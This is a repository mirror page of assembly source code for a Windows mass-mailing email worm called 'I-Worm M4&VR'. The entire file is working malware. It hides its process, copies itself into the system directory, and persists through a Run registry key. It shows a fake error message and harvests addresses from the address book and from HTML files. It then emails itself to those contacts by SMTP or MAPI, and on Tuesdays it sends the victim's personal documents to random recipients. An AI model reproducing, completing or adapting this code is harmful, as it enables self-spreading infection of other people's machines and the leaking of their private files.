mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
2049 lines
55 KiB
NASM
2049 lines
55 KiB
NASM
;-----------------------------------------------------------------------------
|
||
;------------------------------- -----------------------------------------
|
||
;----------------------------- ---------------------------------------
|
||
;--------------------------- I-Worm M4&VR ------------------------------------
|
||
;----------------------------- ---------------------------------------
|
||
;------------------------------- -----------------------------------------
|
||
;-----------------------------------------------------------------------------
|
||
|
||
.386p
|
||
.model flat
|
||
|
||
;--------------------------- Include Zone ------------------------------------
|
||
|
||
MEM_COMMIT equ 00001000h
|
||
MEM_RESERVE equ 00002000h
|
||
PAGE_READWRITE equ 00000004h
|
||
PAGE_READONLY equ 00000002h
|
||
FILE_ATTRIBUTE_NORMAL equ 080h
|
||
OPEN_EXISTING equ 03h
|
||
FILE_SHARE_READ equ 01h
|
||
GENERIC_READ equ 80000000h
|
||
FILE_MAP_WRITE equ 00000002h
|
||
FILE_MAP_READ equ 00000004h
|
||
CREATE_ALWAYS equ 2
|
||
GENERIC_WRITE equ 40000000h
|
||
|
||
;-------------------------- Macro Zone ---------------------------------------
|
||
|
||
@INIT_SehFrame macro Instruction
|
||
local OurSeh
|
||
call OurSeh
|
||
mov esp,[esp+08h]
|
||
Instruction
|
||
OurSeh:
|
||
xor edx,edx
|
||
push dword ptr fs:[edx]
|
||
mov dword ptr fs:[edx],esp
|
||
endm
|
||
|
||
@REM_SehFrame macro
|
||
xor edx,edx
|
||
pop dword ptr fs:[edx]
|
||
pop edx
|
||
endm
|
||
|
||
@pushsz macro string
|
||
local Str
|
||
call Str
|
||
db string,0
|
||
Str: endm
|
||
|
||
api macro a
|
||
extrn a:PROC
|
||
call a
|
||
endm
|
||
|
||
;------------------------ Constantes Zone ------------------------------------
|
||
|
||
SEH equ 1 ; SEH protection
|
||
|
||
NbEmailWanted equ 150 ; Nb Email to Seek >1
|
||
EmailSize equ 64 ; Attention rol eax,6 (2^6)
|
||
EmailFileSize equ (EmailSize*(NbEmailWanted+1)) ; For VirtualAlloc (+Security)
|
||
NbToSend equ 20 ; Send x emails per session
|
||
|
||
NbPersoWanted equ 20 ; Nb Personal document to Seek
|
||
PersoSize equ 256 ; Attention rol eax,8 (2^8)
|
||
PersoFileSize equ (PersoSize*(NbPersoWanted+1)) ; For VirtualAlloc (+Security)
|
||
|
||
MimeHeaderSize equ 1024 ; Mime Header size
|
||
|
||
;-----------------------------------------------------------------------------
|
||
;--------------------------- Code Zone ---------------------------------------
|
||
;-----------------------------------------------------------------------------
|
||
|
||
.code
|
||
|
||
Mv:
|
||
pushad
|
||
|
||
IF SEH
|
||
@INIT_SehFrame <jmp ExitMv> ; Init SEH
|
||
ENDIF
|
||
|
||
;------------------------- Check & Mark Presency -----------------------------
|
||
|
||
TryToOpenOurMutex:
|
||
xor eax, eax
|
||
@pushsz 'MvMutex' ; Mutex Name
|
||
push eax
|
||
push eax
|
||
api OpenMutexA ; already in mem
|
||
or eax,eax
|
||
jnz ExitMv ; Yes, do nothing more
|
||
|
||
CreateOurMutex:
|
||
xor eax, eax
|
||
@pushsz 'MvMutex' ; Mutex Name
|
||
push eax ; No owner
|
||
push eax ; default security attrib
|
||
api CreateMutexA ; create Our Mutex
|
||
mov dword ptr[MutexHdl], eax
|
||
|
||
;---------------------------- Random Init ------------------------------------
|
||
|
||
RandomInit:
|
||
api GetTickCount
|
||
mov RandomNb, eax
|
||
|
||
;---------------------- Hide Process on Win9x --------------------------------
|
||
|
||
HideProcess:
|
||
@pushsz "KERNEL32.dll"
|
||
api GetModuleHandleA
|
||
@pushsz "RegisterServiceProcess" ; Error on NT
|
||
push eax
|
||
api GetProcAddress
|
||
test eax, eax
|
||
jz GetOurPathName
|
||
push 01h
|
||
push 00h
|
||
call eax
|
||
|
||
;----------------------- Copy Worm in Sys Dir --------------------------------
|
||
|
||
GetOurPathName:
|
||
xor eax, eax
|
||
push eax
|
||
api GetModuleHandleA ; Our Handle
|
||
push 260
|
||
push offset MyPath
|
||
push eax
|
||
api GetModuleFileNameA ; Our Path
|
||
|
||
CreateDestPath:
|
||
push 260
|
||
push offset TempPath&Name
|
||
api GetSystemDirectoryA ; System Dir
|
||
|
||
@pushsz '\NETAV.EXE'
|
||
push offset TempPath&Name
|
||
api lstrcat ; Path+Name of File to Create
|
||
|
||
CheckHowExecuted:
|
||
push offset MyPath
|
||
push offset TempPath&Name
|
||
api lstrcmp
|
||
test eax, eax
|
||
jz AutoRun
|
||
|
||
CreateOurFile:
|
||
xor eax, eax
|
||
push eax ; Overwrite mode set
|
||
push offset TempPath&Name
|
||
push offset MyPath
|
||
api CopyFileA ; Copy Worm in Sys Dir
|
||
|
||
|
||
;------------------------- Registry Worm -------------------------------------
|
||
|
||
RegWorm:
|
||
push offset TempPath&Name
|
||
api lstrlen
|
||
push eax
|
||
push offset TempPath&Name
|
||
push 1
|
||
@pushsz "NETAV Agent"
|
||
@pushsz "Software\Microsoft\Windows\CurrentVersion\Run"
|
||
push 80000002h
|
||
api SHSetValueA
|
||
|
||
;-------------------- First Launch Fake Message ------------------------------
|
||
|
||
FakeMessage:
|
||
push 1040
|
||
@pushsz 'Setup'
|
||
@pushsz 'This file does not work on this system'
|
||
push 0
|
||
api MessageBoxA
|
||
|
||
;---------------------- Check Email File & Create ----------------------------
|
||
AutoRun:
|
||
|
||
CheckEmailFile:
|
||
call Clear_TempPath&Name
|
||
|
||
push 260
|
||
push offset TempPath&Name
|
||
api GetSystemDirectoryA ; System Dir
|
||
|
||
push offset TempPath&Name
|
||
api SetCurrentDirectoryA ; Set sys dir
|
||
|
||
push offset search ; Push it
|
||
@pushsz 'ICMAIL.DLL' ; Mask
|
||
api FindFirstFileA ; find file
|
||
inc eax
|
||
jnz UpDateEmailList ; The File Exist
|
||
|
||
call CreateEmailFile ; Create It if Does not exist
|
||
|
||
;----------------------- Check if Update Time --------------------------------
|
||
|
||
UpDateEmailList:
|
||
lea esi,SystemTimeData
|
||
push esi
|
||
api GetSystemTime
|
||
|
||
movzx edx, word ptr[esi+4] ; Esi point day of week
|
||
cmp edx, 4 ; Jeudi ?
|
||
jne Check_if_Connected ; No
|
||
|
||
call CreateEmailFile ; Yes, Update Email File
|
||
|
||
;-------------------------- Spread the Worm ----------------------------------
|
||
|
||
Check_if_Connected:
|
||
push offset SystemTimeData
|
||
api GetSystemTime
|
||
|
||
push 0
|
||
push offset IConnectedStateTemp
|
||
api InternetGetConnectedState
|
||
dec eax
|
||
jnz No_internet ; No connection
|
||
|
||
call SendEmail ; Send Wab Emails + Rnd Email
|
||
jmp ExitMvMutex ; Then Bye
|
||
|
||
No_internet:
|
||
push 5*60*1000 ; 5 min
|
||
api Sleep
|
||
jmp Check_if_Connected
|
||
|
||
;----------------------------- The End ---------------------------------------
|
||
|
||
ExitMvMutex:
|
||
push dword ptr[MutexHdl]
|
||
api CloseHandle
|
||
|
||
ExitMv:
|
||
call FreeTheMem
|
||
|
||
IF SEH
|
||
@REM_SehFrame ; Restore SEH
|
||
ENDIF
|
||
|
||
popad
|
||
|
||
push 0
|
||
api ExitProcess ; Quit
|
||
|
||
|
||
db '---iworm.mv4&vr.by.tony/mvcrew---',0dh,0dh
|
||
|
||
|
||
;-----------------------------------------------------------------------------
|
||
;-----------------------------------------------------------------------------
|
||
;------------------------- Sub Routine Zone ----------------------------------
|
||
;-----------------------------------------------------------------------------
|
||
;-----------------------------------------------------------------------------
|
||
|
||
|
||
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
|
||
;........................ Major Sub Routine ..................................
|
||
;............................ Z O N E ........................................
|
||
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
|
||
|
||
|
||
;...................... Create The Email File ................................
|
||
;.............................................................................
|
||
|
||
; OUT : Email File in System Dir : ICMAIL.DLL
|
||
|
||
CreateEmailFile:
|
||
mov dword ptr[NbEmailFound], 0
|
||
|
||
ReserveMem_For_EmailListe:
|
||
xor eax,eax
|
||
push PAGE_READWRITE ; read/write page
|
||
push MEM_RESERVE or MEM_COMMIT
|
||
push EmailFileSize
|
||
push eax ; System decide where
|
||
api VirtualAlloc
|
||
or eax,eax
|
||
jz EmailFileError ; Alloc Fail
|
||
mov dword ptr[EmailList], eax
|
||
|
||
EmailSeeker:
|
||
call SearchWabFile_Email ; Search Email address book
|
||
call SearchHtmFile_Email ; Search Email HTML
|
||
|
||
CreateTheEmailFile:
|
||
call Clear_TempPath&Name
|
||
|
||
push 260
|
||
push offset TempPath&Name
|
||
api GetSystemDirectoryA ; System Dir
|
||
@pushsz '\ICMAIL.DLL'
|
||
push offset TempPath&Name
|
||
api lstrcat ; Path+Name of File to Create
|
||
xor eax,eax
|
||
push eax
|
||
push eax
|
||
push CREATE_ALWAYS
|
||
push eax
|
||
push FILE_SHARE_READ
|
||
push GENERIC_WRITE
|
||
push offset TempPath&Name
|
||
api CreateFileA
|
||
inc eax
|
||
jz EmailFileError
|
||
dec eax
|
||
mov [TempFileHandle], eax
|
||
|
||
push 0
|
||
push offset ByteWritten
|
||
push EmailFileSize ; Copy Listes d'Emails
|
||
push dword ptr [EmailList]
|
||
push [TempFileHandle]
|
||
api WriteFile
|
||
|
||
push dword ptr [TempFileHandle]
|
||
api CloseHandle
|
||
|
||
EmailFileError:
|
||
ret
|
||
|
||
|
||
;........................ Find Email in HTML .................................
|
||
;.............................................................................
|
||
|
||
; Recursive Search from Internet Path for Email in Html
|
||
|
||
SearchHtmFile_Email:
|
||
call Clear_TempPath&Name
|
||
|
||
push 00h
|
||
push 20h ; Internet Path
|
||
push offset TempPath&Name
|
||
push 00h
|
||
api SHGetSpecialFolderPathA
|
||
|
||
push offset TempPath&Name
|
||
api SetCurrentDirectoryA ; Selected dir = Internet Path
|
||
|
||
lea eax, SeekHtmlCurrentDir
|
||
mov dword ptr[RoutineToCall], eax
|
||
call AllSubDirSearch ; Action = SeekHtmlCurrentDir
|
||
ret
|
||
|
||
;.............. Seek Html in Current Dir
|
||
|
||
; IN: Selected Current dir
|
||
; OUT: Emails in reserved Mem
|
||
|
||
SeekHtmlCurrentDir:
|
||
cmp dword ptr[NbEmailFound], NbEmailWanted ; ENOUGH EMAILS FOUND !
|
||
je HtmlEmailSearchEnd ; YES...
|
||
|
||
lea edi, search
|
||
push edi
|
||
@pushsz '*.*htm*'
|
||
api FindFirstFileA
|
||
inc eax
|
||
jne SeekEmail_Html
|
||
ret
|
||
|
||
SeekEmail_Html:
|
||
dec eax
|
||
xchg eax,esi
|
||
|
||
SeekEmail_Html_Loop:
|
||
|
||
call SeekEmail_In_ThisHtml ; Parse Html 4 emails
|
||
|
||
cmp dword ptr[NbEmailFound], NbEmailWanted ; ENOUGH EMAILS FOUND !
|
||
je HtmlEmailSearchFin ; YES...
|
||
|
||
push edi
|
||
push esi
|
||
api FindNextFileA
|
||
dec eax
|
||
je SeekEmail_Html_Loop
|
||
|
||
HtmlEmailSearchFin:
|
||
push esi
|
||
api FindClose
|
||
HtmlEmailSearchEnd:
|
||
ret
|
||
|
||
;.............. Parse Html for emails
|
||
|
||
SeekEmail_In_ThisHtml:
|
||
pushad
|
||
push 0
|
||
push FILE_ATTRIBUTE_NORMAL
|
||
push OPEN_EXISTING
|
||
push 0
|
||
push FILE_SHARE_READ
|
||
push GENERIC_READ
|
||
lea eax, [search.FileName]
|
||
push eax
|
||
api CreateFileA
|
||
inc eax
|
||
je HtmlEmailSearchEnd ; Only ret for the call
|
||
dec eax ; Not the total end
|
||
xchg eax,ebx
|
||
|
||
xor eax,eax
|
||
push eax
|
||
push eax
|
||
push eax
|
||
push PAGE_READONLY
|
||
push eax
|
||
push ebx
|
||
api CreateFileMappingA
|
||
test eax,eax
|
||
je CloseHtmlHandle
|
||
xchg eax,ebp
|
||
|
||
xor eax,eax
|
||
push eax
|
||
push eax
|
||
push eax
|
||
push FILE_MAP_READ
|
||
push ebp
|
||
api MapViewOfFile
|
||
test eax,eax
|
||
je CloseHtml_MapHandle
|
||
xchg eax,esi
|
||
mov [maphandlemail],esi
|
||
mov [esi_save],esi
|
||
|
||
push 0
|
||
push ebx
|
||
api GetFileSize
|
||
xchg eax,ecx
|
||
jecxz CloseHtml_MapViewHandle
|
||
inc ecx
|
||
jz CloseHtml_MapViewHandle ; GetFileSize Error ?
|
||
dec ecx
|
||
FixBugOverflow:
|
||
sub ecx, 8
|
||
cmp ecx, 0
|
||
jl CloseHtml_MapViewHandle
|
||
|
||
SeekMailToStr:
|
||
mov esi,[esi_save]
|
||
call MTStr
|
||
db 'mailto:'
|
||
MTStr:
|
||
pop edi
|
||
|
||
ScanFor_MailTo:
|
||
pushad
|
||
push 7
|
||
pop ecx
|
||
rep cmpsb ; search for "mailto:"
|
||
popad ; string
|
||
je MailToFound_CheckEmail ; check the mail address
|
||
inc esi
|
||
dec ecx
|
||
jnz ScanFor_MailTo
|
||
|
||
CloseHtml_MapViewHandle:
|
||
push [maphandlemail]
|
||
api UnmapViewOfFile
|
||
CloseHtml_MapHandle:
|
||
push ebp
|
||
api CloseHandle
|
||
CloseHtmlHandle:
|
||
push ebx
|
||
api CloseHandle
|
||
popad
|
||
ret
|
||
|
||
MailToFound_CheckEmail:
|
||
inc esi
|
||
mov [esi_save],esi
|
||
dec esi
|
||
|
||
mov edi, dword ptr [EmailList]
|
||
mov edx, dword ptr [NbEmailFound]
|
||
rol edx, 6 ; 64 = email size stockage
|
||
add edi, edx ; goto next place
|
||
|
||
mov [EmailCurrentPos], edi
|
||
|
||
xor edx,edx
|
||
add esi,7
|
||
push edi ; mail address
|
||
|
||
NextChar:
|
||
lodsb
|
||
cmp al, ' '
|
||
je SkipChar
|
||
|
||
cmp al, '"' ; eMail End ?
|
||
je EndChar
|
||
cmp al, '?' ; eMail End ?
|
||
je EndChar
|
||
cmp al, '>' ; eMail End ?
|
||
je EndChar
|
||
cmp al, '<' ; eMail End ?
|
||
je EndChar
|
||
cmp al, ']' ; eMail End ?
|
||
je EndChar
|
||
cmp al, '''' ; eMail End ?
|
||
je EndChar
|
||
|
||
cmp al, '@' ; Valid email ?
|
||
jne CopyChar
|
||
inc edx
|
||
CopyChar:
|
||
stosb
|
||
jmp NextChar
|
||
SkipChar:
|
||
inc esi
|
||
jmp NextChar
|
||
EndChar:
|
||
xor al,al
|
||
stosb
|
||
pop edi
|
||
test edx,edx ; if EDX=0, mail is not
|
||
je SeekMailToStr ; valid (no '@')
|
||
|
||
cmp dword ptr [NbEmailFound], 0
|
||
je NoEmailYet
|
||
|
||
mov edi, [EmailCurrentPos]
|
||
mov eax, [edi]
|
||
sub edi, 64
|
||
cmp eax, [edi]
|
||
je SeekMailToStr
|
||
|
||
NoEmailYet:
|
||
inc dword ptr [NbEmailFound]
|
||
cmp dword ptr[NbEmailFound], NbEmailWanted ; ENOUGH EMAILS FOUND !
|
||
je CloseHtml_MapViewHandle ; YES...
|
||
|
||
jmp SeekMailToStr ; get next email address
|
||
|
||
|
||
;........................ Find Email in WAB ..................................
|
||
;.............................................................................
|
||
|
||
SearchWabFile_Email:
|
||
call Clear_TempPath&Name
|
||
|
||
GetWabPath:
|
||
mov dword ptr[KeySize], 260 ; Init Size to get
|
||
|
||
push offset KeySize
|
||
push offset TempPath&Name
|
||
push offset Reg
|
||
push 0
|
||
@pushsz "Software\Microsoft\Wab\WAB4\Wab File Name"
|
||
push 80000001h
|
||
api SHGetValueA
|
||
test eax, eax
|
||
jne EndWab
|
||
|
||
Open&Map_WabFile:
|
||
call Open&MapFile
|
||
jc EndWab
|
||
|
||
WabSearchEmail:
|
||
mov ecx, [eax+64h] ; Nb of address
|
||
jecxz WabUnmapView ; No address
|
||
mov dword ptr[NbEmailFound], ecx ; For the Html search
|
||
mov [NbWabEmail],ecx ; For the emailfile
|
||
TruncFriend:
|
||
cmp ecx, NbEmailWanted ; Too many Friend
|
||
jbe NotManyFriend
|
||
mov ecx, NbEmailWanted ; To many @, reduce it
|
||
dec ecx ; for Html search (inc [NbEmailFound]!)
|
||
mov dword ptr[NbEmailFound], ecx ; For the Html search
|
||
mov [NbWabEmail],ecx ; For the emailfile
|
||
NotManyFriend:
|
||
mov esi, [eax+60h] ; email @ array
|
||
add esi, eax ; normalise
|
||
mov edi, dword ptr[EmailList] ; where store email
|
||
|
||
GetWabEmailLoop:
|
||
call StockWabEmail
|
||
dec ecx
|
||
jnz GetWabEmailLoop
|
||
|
||
WabUnmapView:
|
||
call Open&MapFileUnmapView
|
||
|
||
EndWab:
|
||
ret
|
||
|
||
StockWabEmail:
|
||
push ecx esi
|
||
push 40h
|
||
pop ecx
|
||
cmp byte ptr [esi+1],0
|
||
jne StockWabEmailLoop
|
||
|
||
StockWabEmailUnicodeLoop:
|
||
lodsw ; Unicode
|
||
stosb ; Ansi
|
||
dec ecx
|
||
test al, al
|
||
jne StockWabEmailUnicodeLoop
|
||
add edi, ecx ; next email field in Dest
|
||
pop esi ecx
|
||
add esi, 44h ; next email field in Wab
|
||
ret
|
||
|
||
StockWabEmailLoop:
|
||
movsb ; Ansi
|
||
dec ecx
|
||
test al, al
|
||
jne StockWabEmailLoop
|
||
add edi, ecx ; next email field in Dest
|
||
pop esi ecx
|
||
add esi, 24h ; next email field in Wab
|
||
ret
|
||
|
||
;..................... Send Email SMTP or MAPI ...............................
|
||
;.............................................................................
|
||
|
||
; OUT: Send via SMTP or MAPI #NbToSend Ramdom EmailAddress from EmailFile
|
||
|
||
|
||
SendEmail:
|
||
call MapEmailFile ; Map The Email File
|
||
jnc HowToSend
|
||
ret
|
||
|
||
HowToSend:
|
||
mov byte ptr[SmtpFlag], 0 ; init flag to 0
|
||
call GetUserSmtpServer ; Default Smtp Serveur Found ?
|
||
jc MapiSendVersion ; No
|
||
not byte ptr[SmtpFlag] ; flag = 1
|
||
|
||
MapiSendVersion:
|
||
not byte ptr[SmtpFlag] ; flag=0 if SMTP, flag=1 -> MAPI
|
||
|
||
MapEmailFileOk:
|
||
lea esi, SystemTimeData
|
||
movzx ecx, word ptr[esi+4] ; Esi point day of week
|
||
cmp ecx, 2 ; Mardi
|
||
jne _NormalSend
|
||
mov byte ptr[PayloadFlag], 1
|
||
call PersonalDocSearch ; Personal doc path in mem
|
||
|
||
_NormalSend:
|
||
call NormalSendInit ; init attachement 4 Normal Send
|
||
|
||
mov ebx, NbToSend ; Send NbToSend emails per session
|
||
SendRandomEmailLoop:
|
||
call SelectEmail ; return email ads in esi
|
||
jecxz SendBye ; EmailFile empty or NonExploitable
|
||
|
||
lea edi, CurrentEmail ; <-----------------
|
||
mov ecx, EmailSize ; |
|
||
rep movsb ; Copy rnd Email in |
|
||
|
||
xor al, al
|
||
sub esi, EmailSize
|
||
xchg edi, esi
|
||
mov ecx, EmailSize
|
||
rep stosb ; Remove email sent in EmailFile
|
||
|
||
PaySendTime:
|
||
cmp byte ptr[PayloadFlag], 0
|
||
je NormalSend
|
||
call PayloadSendInit ; Personals doc name in MyPath
|
||
|
||
NormalSend:
|
||
call BuildMessageHeader ; build the mime header
|
||
|
||
cmp byte ptr[SmtpFlag], 0
|
||
jne MapiSendIt ; flag=1 -> MAPI
|
||
|
||
call SmtpConnection
|
||
jc MapiSendIt ; smtp error -> mapi send
|
||
call SmtpSendCommand
|
||
jc MapiSendIt ; smtp error -> mapi send
|
||
call SmtpDisConnection
|
||
jmp SendNext ; If here No Mapi Needed
|
||
|
||
MapiSendIt:
|
||
call MapiSend
|
||
|
||
SendNext:
|
||
cmp byte ptr[PayloadFlag], 0
|
||
je NormalSendNext
|
||
call ReleasePayMem
|
||
NormalSendNext:
|
||
call ClearHeaderMem
|
||
dec ebx
|
||
jnz SendRandomEmailLoop ; Send #NbToSend emails
|
||
|
||
SendBye:
|
||
jmp Open&MapFileUnmapView ; Clean De-map EmailFile
|
||
|
||
|
||
;.............. Select Email to Send
|
||
|
||
; OUT: esi point on the email
|
||
; ecx = 0 if error
|
||
; select first the email from the *.WAB
|
||
|
||
SelectEmail:
|
||
mov ecx, NbEmailWanted
|
||
inc ecx
|
||
SelectIT:
|
||
dec ecx
|
||
jz SelectEmailError
|
||
|
||
mov esi, dword ptr [mapaddress] ; emails from file in memory
|
||
|
||
mov edi, NbEmailWanted ; Rnd Range
|
||
call GetRndNumber ; Rnd Nb in edx
|
||
|
||
cmp dword ptr[NbWabEmail], 0
|
||
je TriEMails
|
||
|
||
dec dword ptr[NbWabEmail]
|
||
mov edx, dword ptr[NbWabEmail]
|
||
|
||
TriEMails:
|
||
rol edx, 6 ; edx*emailsize (64)
|
||
add esi, edx ; esi on the email
|
||
|
||
mov eax, dword ptr [esi]
|
||
test eax, eax ; No empty email
|
||
je SelectIT
|
||
mov eax, dword ptr [esi]
|
||
or eax, 20202020h ; Lower case
|
||
cmp eax, 'mbew' ; No webmaster@xxxxxxxx
|
||
je SelectIT
|
||
mov eax, dword ptr [esi]
|
||
or eax, 20202020h ; Lower case
|
||
cmp eax, 'ptth' ; No http:\\xxxxxxxxxxx
|
||
je SelectIT
|
||
SelectEmailError:
|
||
ret
|
||
|
||
;.............. Normal Init The Attachement File
|
||
|
||
; Routine appel<65>e tout le temps (Payload ou pas) -> Init du mess: header + body
|
||
|
||
NormalSendInit:
|
||
|
||
InitWhoSendName:
|
||
call ResMemHeader ; Some Mem for the mime header
|
||
|
||
mov dword ptr[KeySize], 00000040h ; Init Size to get
|
||
|
||
push offset KeySize
|
||
push offset mailfrom
|
||
push offset Reg
|
||
@pushsz "SMTP Email Address" ; User mail (for mail from:)
|
||
lea eax, AccountKey
|
||
push eax
|
||
push 80000001h
|
||
api SHGetValueA
|
||
test eax, eax
|
||
je InitWormName
|
||
mov byte ptr[UserEmailFoundFlag], 1
|
||
|
||
InitWormName:
|
||
xor al,al
|
||
mov ecx,260
|
||
lea edi, MyPath
|
||
rep stosb
|
||
|
||
push 260
|
||
push offset MyPath
|
||
api GetSystemDirectoryA ; System Dir
|
||
|
||
@pushsz '\NETAV.EXE'
|
||
push offset MyPath
|
||
api lstrcat ; Path+Name 4 Mapi Send&Smtp CodeB64File
|
||
|
||
SmtpNormalSendInit:
|
||
call CodeB64File ; return worm file encoded in mem
|
||
|
||
ret
|
||
|
||
;.............. Build Message Header
|
||
|
||
BuildMessageHeader:
|
||
push ebx ; for the loop
|
||
|
||
cmp byte ptr[UserEmailFoundFlag], 0
|
||
je BuildHeader
|
||
|
||
CreateNameFrom:
|
||
xor al, al
|
||
lea edi, mailfrom
|
||
mov ecx, EmailSize
|
||
rep stosb
|
||
|
||
push NbFromName ; nb name
|
||
pop edi
|
||
call GetRndNumber ; edx = rnd nb
|
||
|
||
lea edi, RndFromNameTb
|
||
rol edx, 2 ; table de dd
|
||
add edi, edx ; Point the right Name offset
|
||
mov edi, [edi]
|
||
|
||
push edi ; User mail not found -> fix another name
|
||
push offset mailfrom
|
||
api lstrcat
|
||
|
||
CreateServFrom:
|
||
push NbFromServ ; nb serv
|
||
pop edi
|
||
call GetRndNumber ; edx = rnd nb
|
||
|
||
lea edi, RndFromServTb
|
||
rol edx, 2 ; table de dd
|
||
add edi, edx ; Point the right Serv offset
|
||
mov edi, [edi]
|
||
|
||
push edi ; User mail not found -> fix another name
|
||
push offset mailfrom
|
||
api lstrcat
|
||
|
||
BuildHeader:
|
||
mov esi, dword ptr[MemMessageBody1] ; some mem
|
||
|
||
BuildFrom:
|
||
@pushsz 'From: ' ; From:
|
||
push esi
|
||
api lstrcat
|
||
|
||
push offset mailfrom ; user mail or another fixed
|
||
push esi
|
||
api lstrcat
|
||
|
||
@pushsz CRLF
|
||
push esi
|
||
api lstrcat
|
||
|
||
BuildTo:
|
||
@pushsz 'To: ' ; To:
|
||
push esi
|
||
api lstrcat
|
||
|
||
push offset CurrentEmail ; Email found in *.wab or Html
|
||
push esi
|
||
api lstrcat
|
||
|
||
@pushsz CRLF
|
||
push esi
|
||
api lstrcat
|
||
|
||
BuildSubject:
|
||
@pushsz 'Subject: ' ; Subject:
|
||
push esi
|
||
api lstrcat
|
||
|
||
push NbSubject ; nb Subject
|
||
pop edi
|
||
call GetRndNumber ; edx = rnd nb
|
||
|
||
lea edi, RndSubjectTb
|
||
rol edx, 2 ; table de dd
|
||
add edi, edx ; Point the right Subject offset
|
||
mov edi, [edi]
|
||
|
||
push edi ; Rnd Subject
|
||
push esi
|
||
api lstrcat
|
||
|
||
@pushsz CRLF
|
||
push esi
|
||
api lstrcat
|
||
|
||
BuildBody:
|
||
push offset MessageBody1 ; Mime bordel jusqu'a -> email message
|
||
push esi
|
||
api lstrcat
|
||
|
||
BuiltEmailMessage:
|
||
push NbRndText ; nb Text
|
||
pop edi
|
||
call GetRndNumber ; edx = rnd nb
|
||
|
||
lea edi, RndTextTb
|
||
rol edx, 2 ; table de dd
|
||
add edi, edx ; Point the right Text offset
|
||
mov edi, [edi]
|
||
|
||
push edi ; Rnd Text
|
||
push esi
|
||
api lstrcat
|
||
|
||
BuildBody1b:
|
||
push offset MessageBody1b ; email message -> name=
|
||
push esi
|
||
api lstrcat
|
||
|
||
cmp byte ptr[PayloadFlag],0
|
||
jne BuildFileNamePay
|
||
|
||
BuildFileNameNormal:
|
||
push NbRndFileName ; nb FileName
|
||
pop edi
|
||
call GetRndNumber ; edx = rnd nb
|
||
|
||
lea edi, RndFileNameTb
|
||
rol edx, 2 ; table de dd
|
||
add edi, edx ; Point the right Text offset
|
||
mov edi, [edi]
|
||
|
||
push edi ; Rnd File in name=
|
||
push esi
|
||
api lstrcat
|
||
|
||
@pushsz CRLF
|
||
push esi
|
||
api lstrcat
|
||
|
||
push offset MessageBody1c ; .EXE",CRLF -> filename=
|
||
push esi
|
||
api lstrcat
|
||
|
||
push edi ; Rnd File in filename=
|
||
push esi
|
||
api lstrcat
|
||
|
||
@pushsz CRLF
|
||
push esi
|
||
api lstrcat
|
||
@pushsz CRLF
|
||
push esi
|
||
api lstrcat
|
||
|
||
jmp BuildSizeBody1
|
||
|
||
BuildFileNamePay:
|
||
call Clear_TempPath&Name
|
||
|
||
push 260
|
||
push offset TempPath&Name
|
||
push offset MyPath
|
||
api GetFileTitleA
|
||
|
||
@pushsz '"'
|
||
push esi
|
||
api lstrcat
|
||
|
||
push offset TempPath&Name
|
||
push esi
|
||
api lstrcat
|
||
|
||
@pushsz '"'
|
||
push esi
|
||
api lstrcat
|
||
|
||
@pushsz CRLF
|
||
push esi
|
||
api lstrcat
|
||
|
||
push offset MessageBody1c ; .EXE",CRLF -> filename=
|
||
push esi
|
||
api lstrcat
|
||
|
||
@pushsz '"'
|
||
push esi
|
||
api lstrcat
|
||
|
||
push offset TempPath&Name
|
||
push esi
|
||
api lstrcat
|
||
|
||
@pushsz '"'
|
||
push esi
|
||
api lstrcat
|
||
|
||
@pushsz CRLF
|
||
push esi
|
||
api lstrcat
|
||
@pushsz CRLF
|
||
push esi
|
||
api lstrcat
|
||
|
||
BuildSizeBody1:
|
||
push esi
|
||
api lstrlen
|
||
|
||
mov dword ptr[MessageSize1], eax ; Header+Mime bordel lenght for send cmd
|
||
|
||
BuildMessageHeaderError:
|
||
pop ebx ; for the loop
|
||
ret
|
||
|
||
;.............. Payload Init The Attachement File
|
||
|
||
PayloadSendInit:
|
||
push ebx ; For The send Loop
|
||
|
||
mov edi, dword ptr[NbPersonalFound] ; Rnd Range
|
||
call GetRndNumber ; Rnd Nb in edx
|
||
|
||
PayMapiSendInit:
|
||
xor al,al
|
||
mov ecx,260
|
||
lea edi, MyPath
|
||
rep stosb
|
||
|
||
mov esi, dword ptr [PersoDocListe]
|
||
rol edx, 8
|
||
add esi, edx ; esi = perso doc path
|
||
lea edi, MyPath
|
||
mov ecx, 256 ; Perso path size
|
||
rep movsb
|
||
|
||
PaySmtpSendInit:
|
||
call CodeB64File ; return perso file encoded in mem
|
||
|
||
pop ebx ; For The send Loop
|
||
ret
|
||
|
||
;.............. Some Mem For The Mime Header
|
||
|
||
ReleasePayMem:
|
||
push ebx
|
||
|
||
mov ecx, dword ptr [MemEncoded]
|
||
call MemFreeIt
|
||
mov ecx, dword ptr [MemToEncode]
|
||
call MemFreeIt
|
||
|
||
pop ebx
|
||
ret
|
||
|
||
ClearHeaderMem:
|
||
xor al,al
|
||
mov ecx, MimeHeaderSize
|
||
mov edi, dword ptr[MemMessageBody1]
|
||
rep stosb
|
||
ret
|
||
|
||
;.............. Some Mem For The Mime Header
|
||
|
||
ResMemHeader:
|
||
xor eax,eax
|
||
push PAGE_READWRITE ; read/write page
|
||
push MEM_RESERVE or MEM_COMMIT
|
||
push MimeHeaderSize
|
||
push eax ; System decide where
|
||
api VirtualAlloc
|
||
mov dword ptr[MemMessageBody1], eax
|
||
ret
|
||
|
||
;.............. Map The Email File
|
||
|
||
;OUT: eax = mapaddress
|
||
; cf = 0 if no error
|
||
|
||
MapEmailFile:
|
||
call Clear_TempPath&Name
|
||
|
||
push 260
|
||
push offset TempPath&Name
|
||
api GetSystemDirectoryA
|
||
@pushsz '\ICMAIL.DLL'
|
||
push offset TempPath&Name
|
||
api lstrcat ; Path+Name
|
||
|
||
call Open&MapFile
|
||
ret
|
||
|
||
|
||
;.......................... Send Via MAPI ....................................
|
||
;.............................................................................
|
||
|
||
|
||
MapiSend:
|
||
push ebx ; For The send Loop
|
||
|
||
xor eax, eax
|
||
push eax
|
||
push eax
|
||
push offset MapiMessage
|
||
push eax
|
||
push dword ptr [MAPISession]
|
||
api MAPISendMail
|
||
|
||
pop ebx ; For The send Loop
|
||
ret
|
||
|
||
|
||
;........................... Send via SMTP ...................................
|
||
;.............................................................................
|
||
|
||
; 4 Part:
|
||
; - GetLocalSmtpServeur: Find default SMTP server
|
||
; - SmtpConnection: Init Socket + Connect to Smpt host
|
||
